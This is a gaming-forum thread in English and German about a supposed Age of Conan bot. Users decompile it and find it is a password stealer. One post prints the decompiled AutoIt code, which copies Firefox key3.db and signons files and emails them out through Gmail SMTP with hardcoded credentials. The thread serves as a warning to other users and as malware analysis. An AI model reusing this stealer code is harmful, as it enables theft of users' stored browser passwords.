Register for your free account! | Forgot your password?

You last visited: Today at 19:27

  • Please register to post and access all features, it's quick, easy and FREE!

 

[Bot] AoC-Flyer

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Dec 2004
Posts: 50
Received Thanks: 0
[Bot] AoC-Flyer

Found this thing on a private forum (Name i cant devulge, sorry :P)

Its pretty decent as far as autoit bots go, i only tried it with a 32 HoX though. Sometimes it bugs out but it worked overnight when i tried it so i guess its decent enough to share. Heres the readme:


Quote:
AoC-Flyer made ONLY with autoit v3.2.12.0

V.65 Beta release candidate. This is an UNDETECTABLE (No code injection used, strictly Autoit) Age of Conan Bot,
Works for all releases.


Files :

Readme.txt
Flyer.exe
FlyergConfic.dll (Hasnt been changed in a while, will probably stay that way)

-Run The Exe

-Start The Game

-Hotkeys are as follows

Esc = Terminate
F2 = Run
F4 = Save waypoint (alive)
F5 = Save Waypoint (Ghost)


This is a breadcrumb bot, meaning You must save the waypoints first and then run the bot and it will follow those waypoints

and essentially grind for you....


~Skeetz team





Virus total / jotti didn't come up with anything when i scanned, but please scan it yourself to be safe.



lagalot is offline  
Old   #2
 
elite*gold: 0
Join Date: Apr 2006
Posts: 6,552
Received Thanks: 808
A-Squared
Keine Viren gefunden
AntiVir
Keine Viren gefunden
ArcaVir
Keine Viren gefunden
Avast
Keine Viren gefunden
AVG Antivirus
Keine Viren gefunden
BitDefender
Keine Viren gefunden
ClamAV
Keine Viren gefunden
CPsecure
Keine Viren gefunden
Dr.Web
Keine Viren gefunden
F-Prot Antivirus
Keine Viren gefunden
F-Secure Anti-Virus
Keine Viren gefunden
Fortinet
Keine Viren gefunden
Ikarus
Keine Viren gefunden
Kaspersky Anti-Virus
Keine Viren gefunden
NOD32
Keine Viren gefunden
Norman Virus Control
Keine Viren gefunden
Panda Antivirus
Keine Viren gefunden
Sophos Antivirus
Keine Viren gefunden
VirusBuster
Keine Viren gefunden
VBA32
Keine Viren gefunden

weiss trotzdem nich so :f


FreaKzzz is offline  
Old   #3
 
elite*gold: 0
Join Date: May 2008
Posts: 320
Received Thanks: 25
Soll ma wer sagen obs funtzt bitte.
Bibo88k is offline  
Old   #4
 
elite*gold: 0
Join Date: Apr 2008
Posts: 26
Received Thanks: 4
Confused about the functions, looked at the readme but it says nothing about your skills.

How would you tell it which ones to you, locations of skills, pots, etc

Basic things you would need in any macro is seems to have no information about?


meltingsmoke is offline  
Old   #5
 
elite*gold: 0
Join Date: Apr 2006
Posts: 44
Received Thanks: 6
ACHTUNG!

Ich hab den quellcode angeschaut und es wird eine email verschickt!!

Der progrmamierer ist ein trottel, in dem script stehen seine gmail passwörter als klartext. Wenn ein Mod fragen hat bezüglich des quellcodes , PM!

NICHT BENUTZEN! So wie ich das sehen kann funtzt der bot , aber es wird euer passwort versendet (die betreffzeile bei der website ist "Here is my password"
Huggy is offline  
Thanks
1 User
Old   #6
 
elite*gold: 0
Join Date: May 2008
Posts: 320
Received Thanks: 25
Quote:
Originally Posted by Huggy View Post
ACHTUNG!

Ich hab den quellcode angeschaut und es wird eine email verschickt!!

Der progrmamierer ist ein trottel, in dem script stehen seine gmail passwörter als klartext. Wenn ein Mod fragen hat bezüglich des quellcodes , PM!

NICHT BENUTZEN! So wie ich das sehen kann funtzt der bot , aber es wird euer passwort versendet (die betreffzeile bei der website ist "Here is my password"
Danke für die Info, wollt des Teil gradma anschmeißen.
Bibo88k is offline  
Old   #7
 
elite*gold: 120
Join Date: Mar 2007
Posts: 392
Received Thanks: 405
also decompiliert, teils deobfuscated

Resultat:

Hierbei handelt es sich wirklich um ein einen passwort stealer
code schnipsel:

Code:
DirCreate("C:temp1")
FileChangeDir(@UserProfileDir & "Application DataMozillaFirefoxProfiles")
 = FileFindFirstFile("*default*")
While 1
	 = FileFindNextFile()
	If @error Then ExitLoop
	FileCopy(@UserProfileDir & "Application DataMozillaFirefoxProfiles" &  & "key3.db", "C:temp1")
	FileCopy(@UserProfileDir & "Application DataMozillaFirefoxProfiles" &  & "signons*", "C:temp1")
WEnd
FileClose()
Global  = ObjEvent("AutoIt.Error", "Fn021F")
 = "smtp.gmail.com"
 = (@ComputerName)
 = "[email protected]***.com"
 = ""
 = "Passwords"
 = "Here are my passwords"
 = "C:temp1key3.db;C:temp1signons2.txt"
 = ""
 = ""
 = "akazzz0"
 = "a12345678"

....

DirRemove("C:Temp1", 1)
die variablen werden net ausgegeben ....


Einiges im code ist eine kopie vom wow bot thermo prime, allerdgins wurde es so umgeschrieben, dass es mit Age of Conan vielleicht funktionieren könnte, aber wohl eher nicht!

Es handelt sich ohne scheis um thermo prime code,
ClipPut("/script RepopMe()")
und ob sowas in aoc funzt, ka, in wow ja^^

Auf jedenfall hat er sich nen bischen mühe gemacht, nen nicht ganz leicht detectbaren trojaner.
Aber wer schon nen virus oder trojaner codet, sollte auf autoit verzichten, da es decompiln kann, außer man schreibt ein eigenes encrypt verfahren.


aus der dll kann ich kine funktion auslesen




also weil er sich so ne mühe gegeben hat, würd ich nen ban als belohnung geben und den DL link entfernen

mfg PiroX
Pblx is offline  
Thanks
3 Users
Old   #8
 
elite*gold: 0
Join Date: Mar 2006
Posts: 115
Received Thanks: 78
Quote:
Originally Posted by PiroX View Post
also weil er sich so ne mühe gegeben hat, würd ich nen ban als belohnung geben und den DL link entfernen

mfg PiroX
/signed

Danke PiroX und Huggy für die Mühe es zu decompilen.

Enforcer81 is offline  
Old   #9
 
elite*gold: 0
Join Date: Apr 2006
Posts: 44
Received Thanks: 6
Jo, seh das auch so.
Decompilen von Autoit ist so ne sache, wern bisschen ahnung hat von autoit , naja , der schaffts :P

Also, sign, gut gedacht, schlecht gemacht --> doofer cracker
Huggy is offline  
Old   #10
 
elite*gold: 0
Join Date: May 2005
Posts: 23
Received Thanks: 0
Quote:
= "akazzz0"
= "a12345678"
hab da mal auf seinen gmail account geschaut, da scheinen ja schon einige drauf reingefallen zu sein. und die gesammelten passwörter betreffen nicht nur wow oder aoc,
es werden auch websites logins, wie z.b. facebook, diverse webshops, uni's usw. übermittelt. leider sind die logins und passwörter verschlüsselt.
king00 is offline  
Old   #11
 
elite*gold: 0
Join Date: Feb 2008
Posts: 18
Received Thanks: 0
working?
ermisli is offline  
Old   #12
 
elite*gold: 0
Join Date: Mar 2006
Posts: 115
Received Thanks: 78
nope its a keylogger

Don't use it
Enforcer81 is offline  
Old   #13

 
elite*gold: 0
Join Date: Jan 2008
Posts: 479
Received Thanks: 89
gibt es denn eine möglichkeit die Daten zu entschlüßeln?
Wurmi is offline  
Old   #14
 
elite*gold: 0
Join Date: Apr 2004
Posts: 741
Received Thanks: 452
Quote:
Originally Posted by Huggy View Post
Jo, seh das auch so.
Decompilen von Autoit ist so ne sache, wern bisschen ahnung hat von autoit , naja , der schaffts :P
Das schwierigste an der Sache ist immer den Decompiler zu ergoogeln weil man wiedermal den Namen vergessen hat :x
Falls es hier jemanden interessiert:
Der nimmt einem sogar das Deobfuscaten zu nem großen Teil ab
sirru is offline  
Old   #15
 
elite*gold: 0
Join Date: Jun 2005
Posts: 256
Received Thanks: 22
Quote:
Originally Posted by Wurmi View Post
gibt es denn eine möglichkeit die Daten zu entschlüßeln?
...und genau hier wird es langsam kriminell. Vorsicht, mein Lieber.


cabana344 is offline  
Reply



« Previous Thread | Next Thread »

Similar Threads
FLYER FÜR 9er ZELTEN
Moin :D Es geht um nen flyer, der fürs 9er zelten werben soll, der wir dann in svz hochgeladen drauf muss Wo: Schützenplatz Rietberg Wann:...
5 Replies - General Art
[Suche]Flyer-Designer
Suche jemanden der mir für eine Disco einen Flyer entwirft. Bin vorhin auf diesen gestoßen:...
23 Replies - General Art
Request: e*pvp Flyer
Hey Leutz, So einer meiner letzten posting( :<) Also ich brauch nen Flyer von e*pvp , hab was irres vor , ich hoffe ihr könnt mir helfen ...
10 Replies - General Art
Für alle HipHop Flyer MAcher
BLING BLING EFFECT...very nice
3 Replies - General Art



All times are GMT +1. The time now is 19:27.


Powered by vBulletin®
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Abuse
Copyright ©2017 elitepvpers All Rights Reserved.